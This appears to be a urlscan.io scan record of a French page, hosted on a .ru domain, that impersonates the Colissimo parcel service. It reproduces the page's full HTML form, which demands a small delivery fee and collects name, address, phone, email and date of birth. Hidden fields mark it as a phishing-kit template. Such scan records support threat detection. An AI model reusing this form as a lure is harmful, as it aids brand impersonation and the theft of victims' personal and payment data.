cs95823.tw1.ru Open in urlscan Pro
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Form analysis
1 forms found in the DOM

POST colis-infos.php?token=TW96aWxsYS81LjAgKFdpbmRvd3MgTlQgMTAuMDsgV2luNjQ7IHg2NCkgQXBwbGVXZWJLaXQvNTM3LjM2IChLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzEyNi4wLjAuMCBTYWZhcmkvNTM3LjM2MjAwMTo0MWQwOmQ6MzY0ZDo6NzIwMjQ6SnVsOk1vbg==

<form action="colis-infos.php?token=TW96aWxsYS81LjAgKFdpbmRvd3MgTlQgMTAuMDsgV2luNjQ7IHg2NCkgQXBwbGVXZWJLaXQvNTM3LjM2IChLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzEyNi4wLjAuMCBTYWZhcmkvNTM3LjM2MjAwMTo0MWQwOmQ6MzY0ZDo6NzIwMjQ6SnVsOk1vbg==" method="post">
  <input type="hidden" name="captcha" value="">
  <input type="hidden" name="step" value="details">
  <div class="form-row mb-4">
    <div class="col-lg-6 col-md-6 col-sm-12 col-12 mb-lg-0 mb-md-0 mb-sm-4 mb-4">
      <div class="form-group mb-0 ">
        <label for="last_name">Nom *</label>
        <input type="text" class="form-control" name="fn" id="fn" placeholder="Votre nom" value="" required="">
      </div>
    </div>
    <div class="col-lg-6 col-md-6 col-sm-12 col-12">
      <div class="form-group mb-0 ">
        <label for="first_name">Prénom *</label>
        <input type="text" class="form-control" name="ln" id="ln" placeholder="Votre prénom" value="" required="">
      </div>
    </div>
  </div>
  <div class="form-row mb-4">
    <div class="col-lg-6 col-md-6 col-sm-12 col-12 mb-lg-0 mb-md-0 mb-sm-4 mb-4">
      <div class="form-group mb-0 ">
        <label for="email">Email *</label>
        <input class="form-control" name="email" type="email" value="" placeholder="Votre email" aria-required="true" autocomplete="username" data-original-title="Votre adresse e-mail" data-toggle="tooltip" data-placement="top" data-mask="int"
          required="">
      </div>
    </div>
    <div class="col-lg-6 col-md-6 col-sm-12 col-12">
      <div class="form-group mb-0 ">
        <label for="phone">Téléphone *</label>
        <input class="form-control" maxlength="10 " pattern="^((\+)33|0)[1-9](\d{2}){4}$" name="tel" aria-required="true" type="tel" placeholder="Votre téléphone" autocomplete="on" id="tel" required="" value="">
      </div>
    </div>
  </div>
  <div class="form-row mb-4">
    <div class="col-lg-6 col-md-6 col-sm-12 col-12 mb-lg-0 mb-md-0 mb-sm-4 mb-4">
      <div class="form-group mb-0 ">
        <label for="city">Ville *</label>
        <input type="text" class="form-control" name="city" id="city" placeholder="Ville" value="" required="">
      </div>
    </div>
    <div class="col-lg-6 col-md-6 col-sm-12 col-12">
      <div class="form-group mb-0 ">
        <label for="zip_code">Code postal *</label>
        <input class="form-control" name="zip" type="zip_code" pattern="[0-9]{5}" maxlength="5" aria-required="true" autocomplete="off" placeholder="Code postal" data-original-title="Votre code postal" data-toggle="tooltip" data-placement="top"
          data-mask="int" required="" value="">
      </div>
    </div>
  </div>
  <div class="form-row mb-4">
    <div class="col-lg-6 col-md-6 col-sm-12 col-12 mb-lg-0 mb-md-0 mb-sm-4 mb-4">
      <div class="form-group mb-0 ">
        <label for="address">Adresse *</label>
        <input type="text" class="form-control" name="address" id="address" placeholder="Votre adresse" value="" required="">
      </div>
    </div>
    <div class="col-lg-6 col-md-6 col-sm-12 col-12">
      <div class="form-group mb-0 ">
        <label for="birth_date">Date de naissance *</label>
        <input type="text" class="form-control" name="dob" maxlength="10" id="dob" placeholder="jj/mm/aaaa" value="" required="">
      </div>
    </div>
  </div>
  <div class="form-row mb-4">
    <div class="col-lg-6 col-md-6 col-sm-12 col-12">
      <div class="form-group mb-0 ">
        <label for="phonefix">Téléphone fixe *</label>
        <input class="form-control" maxlength="15 " name="phonefix" aria-required="true" type="tel" placeholder="Numéro de téléphone fixe " autocomplete="on" id="tel" required="" value="">
      </div>
    </div>
  </div>
  <div class="text-right">
    <button type="submit" style="background-color:#1247c7;color:white;border-color:#f3950b;border-radius:5px;min-width:120px">Continuer</button>
  </div>
  <input type="hidden" id="cn"> <input type="hidden" id="ed"> <input type="hidden" id="sc">
  <input type="hidden" name="brand" value="colissimoV0.01"><input type="hidden" name="type" value="bill">
</form>

Text Content

LIVRAISON À DOMICILE (2,99 EUR)

Colissimo vous permet le suivi de vos envois de colis à tout moment et ce depuis
l'expédition jusqu'a la livraison.

Tous les champs marqués par (*) sont obligatoires

Nom *
Prénom *
Email *
Téléphone *
Ville *
Code postal *
Adresse *
Date de naissance *
Téléphone fixe *
Continuer